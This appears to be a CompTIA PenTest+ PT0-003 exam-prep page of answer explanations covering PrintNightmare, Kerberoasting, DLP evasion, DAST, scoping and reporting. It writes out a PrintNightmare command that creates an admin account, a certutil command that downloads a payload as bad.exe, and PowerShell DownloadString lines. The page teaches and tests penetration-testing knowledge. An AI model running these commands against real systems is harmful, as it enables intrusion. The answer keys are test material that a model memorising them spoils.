Pass the CompTIA PenTest+ PT0-003 Questions and answers with CertsForce

In the scenario where a penetration tester uses the PrintNightmare exploit to create a new user with administrative privileges but still experiences low-privilege access, the tester should log off and log on with the new " hacker " account to escalate privileges correctly.

PrintNightmare Exploit:

PrintNightmare (CVE-2021-34527) is a vulnerability in the Windows Print Spooler service that allows remote code execution and local privilege escalation.

The provided commands are intended to exploit this vulnerability to create a new user with administrative privileges.

Commands Breakdown:

Import-Module .\PrintNightmare.ps1: Loads the PrintNightmare exploit script.

Invoke-Nightmare -NewUser " hacker " -NewPassword " Password123! " -DriverName " Print " : Executes the exploit, creating a new user " hacker " with administrative privileges.

Issue:

The tester still experiences low privileges despite running the exploit successfully.

This could be due to the current session not reflecting the new privileges.

Solution:

Logging off and logging back on with the new " hacker " account will start a new session with the updated administrative privileges.

This ensures that the new privileges are applied correctly.

Pentest References:

Privilege Escalation: After gaining initial access, escalating privileges is crucial to gain full control over the target system.

Session Management: Understanding how user sessions work and ensuring that new privileges are recognized by starting a new session.

The use of the PrintNightmare exploit highlights a specific technique for privilege escalation within Windows environments.

By logging off and logging on with the new " hacker " account, the penetration tester can ensure the new administrative privileges are fully applied, allowing for further enumeration and exploitation of the target system.

======

WiGLE.net is the best choice because it is purpose-built for identifying and mapping wireless networks (SSIDs/BSSIDs) using aggregated wardriving-style data and location-based search. In PenTest+ reconnaissance, testers often need to quickly determine what wireless networks are present in or around a physical location—especially when assessing how corporate mobile devices might encounter nearby SSIDs that could be abused for evil-twin or misassociation scenarios. WiGLE helps identify networks by area and provides details that support follow-on testing decisions, such as which SSIDs are common, whether naming patterns suggest corporate ownership, and whether nearby networks could confuse users or devices.

Wireshark is a packet analyzer and requires traffic capture; it is not a discovery database for “what networks exist” in a geographic area. theHarvester and Recon-ng are OSINT tools oriented toward emails, domains, hosts, and identity data—not local wireless network identification. For the stated goal of identifying available Wi-Fi networks for mobile-device exposure assessment, WiGLE.net most directly fits the objective.

Based on the findings, the focus should be on addressing vulnerabilities in libraries and ensuring their security. Here’s why options D and E are correct:

Implement an SCA Tool:

SCA (Software Composition Analysis) tools are designed to analyze and manage open-source components in an application. Implementing an SCA tool would help in identifying and managing vulnerabilities in libraries, aligning with the finding of vulnerable libraries in the secure SDLC process.

This recommendation addresses the high-risk finding related to the Secure SDLC by providing a systematic approach to manage and mitigate vulnerabilities in software dependencies.

Obtain the Latest Library Version:

Keeping libraries up to date is a fundamental practice in maintaining the security of an application. Ensuring that the latest, most secure versions of libraries are used directly addresses the high-risk finding related to vulnerable libraries.

This recommendation is a direct and immediate action to mitigate the identified vulnerabilities.

Other Options Analysis:

Develop a Secure Encryption Algorithm: This is not practical or necessary given that the issue is with the use of a weak algorithm, not the need to develop a new one.

Deploy an Asset Management System: While useful, this is not directly related to the identified high-risk issue of vulnerable libraries.

Write an SDLC Policy: While helpful, the more immediate and effective actions involve implementing tools and processes to manage and update libraries.

References from Pentest:

Horizontall HTB: Demonstrates the importance of managing software dependencies and using tools to identify and mitigate vulnerabilities in libraries​​.

Writeup HTB: Highlights the need for keeping libraries updated to ensure application security and mitigate risks​​.

Conclusion:

Options D and E, implementing an SCA tool and obtaining the latest library version, are the most appropriate recommendations to address the high-risk finding related to vulnerable libraries in the Secure SDLC process.

======

For electronic locking mechanisms, traditional lock picking is ineffective. Instead, bypassing techniques are often used, such as:

Triggering the emergency release.

Using a shim or bypass tool.

Exploiting wiring faults or RFID vulnerabilities.

This method doesn’t involve human deception (impersonation), social engineering (tailgating), or causing interference (jamming). It focuses on exploiting the electronic door system without needing to " unlock " it traditionally.

CompTIA PenTest+ Reference:

PT0-003 Objective 1.3: Given a scenario, perform a physical assessment.

CompTIA emphasizes the distinction between bypassing and other physical intrusion methods.

Encoding to Evade DLP:

Encoding (e.g., Base64) transforms data into a format that may bypass data loss prevention (DLP) tools.

DLP solutions often look for specific patterns (e.g., sensitive keywords, file headers) and may not recognize encoded data.

Why Not Other Options?

B (Compression): Compression reduces file size but does not typically bypass DLP detection mechanisms.

C (Encryption): Encrypted data is detectable by DLP tools, though its contents may not be readable.

D (Obfuscation): While obfuscation hides intent, encoding is more effective for bypassing automated detection.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Dynamic Application Security Testing (DAST):

DAST tools interact with the running application from the outside, simulating attacks to identify security vulnerabilities.

They are particularly effective in identifying issues like SQL injection, XSS, CSRF, and other vulnerabilities in web applications.

DAST tools do not require access to the source code, making them suitable for black-box testing.

Advantages of DAST:

Real-World Testing: DAST simulates real-world attacks by interacting with the application in the same way a user would.

Comprehensive Coverage: Can identify vulnerabilities in all parts of the web application, including input fields, forms, and user interactions.

Automated Scanning: Automates the process of testing and identifying vulnerabilities, providing detailed reports on discovered issues.

Examples of DAST Tools:

OWASP ZAP (Zed Attack Proxy): An open-source DAST tool widely used for web application security testing.

Burp Suite: A popular commercial DAST tool that provides comprehensive scanning and testing capabilities.

Pentest References:

Web Application Testing: Understanding the importance of testing web applications for security vulnerabilities and the role of different testing methodologies.

Security Testing Tools: Familiarity with various security testing tools and their applications in penetration testing.

DAST vs. SAST: Knowing the difference between DAST (dynamic testing) and SAST (static testing) and when to use each method.

By using a DAST tool, the penetration tester can effectively identify all vulnerable input fields on the customer website, ensuring a thorough assessment of the application ' s security.

======

A well-structured penetration testing report should be clear, objective-driven, and include an executive summary to communicate findings effectively to both technical teams and executives.

Option A (Keeping video/audio of everything) ❌: Not required. Video/audio documentation is rarely used in penetration testing reports.

Option B (Keeping reports 5-10 pages) ❌: Reports vary in length based on scope and complexity. There is no strict page limit.

Option C (Basing recommendations on risk score) ❌: Risk scores are important, but the report should also provide remediation guidance, exploitability context, and business impact.

Option D (Clear objectives & executive summary) ✅: Correct.

The executive summary helps non-technical stakeholders understand risks and priorities.

The report should be detailed yet clear, focusing on findings, impact, and remediation.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Penetration Testing Reports & Communication

Kerberoasting is an attack that specifically targets Service Principal Name (SPN) accounts in a Windows Active Directory environment. Here’s a detailed explanation:

Understanding SPN Accounts:

SPNs are unique identifiers for services in a network that allows Kerberos to authenticate service accounts. These accounts are often associated with services such as SQL Server, IIS, etc.

Kerberoasting Attack:

Prerequisite: Knowledge of the SPN account.

Process: An attacker requests a service ticket for the SPN account using the Kerberos protocol. The ticket is encrypted with the service account ' s NTLM hash. The attacker captures this ticket and attempts to crack the hash offline.

Objective: To obtain the plaintext password of the service account, which can then be used for lateral movement or privilege escalation.

Comparison with Other Attacks:

Golden Ticket: Involves forging Kerberos TGTs using the KRBTGT account hash, requiring domain admin credentials.

DCShadow: Involves manipulating Active Directory data by impersonating a domain controller, typically requiring high privileges.

LSASS Dumping: Involves extracting credentials from the LSASS process on a Windows machine, often requiring local admin privileges.

Kerberoasting specifically requires the SPN account information to proceed, making it the correct answer.

======

To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here’s why:

Using certutil.exe:

Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.

Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.

Comparison with Other Commands:

powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.

powershell.exe -noni -encode IEX.Downloadstring( " http://172.16.0.1/ " ) (C): Incorrect syntax for downloading and executing a script.

rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.

Using certutil.exe to download and execute a payload is a common and effective method.

======

In the PenTest+ pre-engagement and scoping process, a “target” refers to an asset or system component that can be assessed—such as an application, host, network segment, cloud resource, or interface that provides business functionality. An API is a valid target because it is a discrete, testable asset with defined inputs/outputs and commonly has its own authentication, authorization, rate limiting, data handling, and business-logic controls. During scoping, APIs are often explicitly listed as in-scope assets (for example, REST endpoints, GraphQL interfaces, or partner-facing integrations) because they can expose sensitive data and functionality even when the main web UI appears secure.

By contrast, HTTP and ICMP are protocols, not assets. They can be part of the assessment (e.g., testing HTTP services or ICMP filtering), but they are not themselves “targets” in the sense of scoping an asset inventory. “IPA” is not a standard target category in PenTest+ scoping language (it is typically associated with file formats or unrelated terms). Therefore, API is the correct example of a target asset.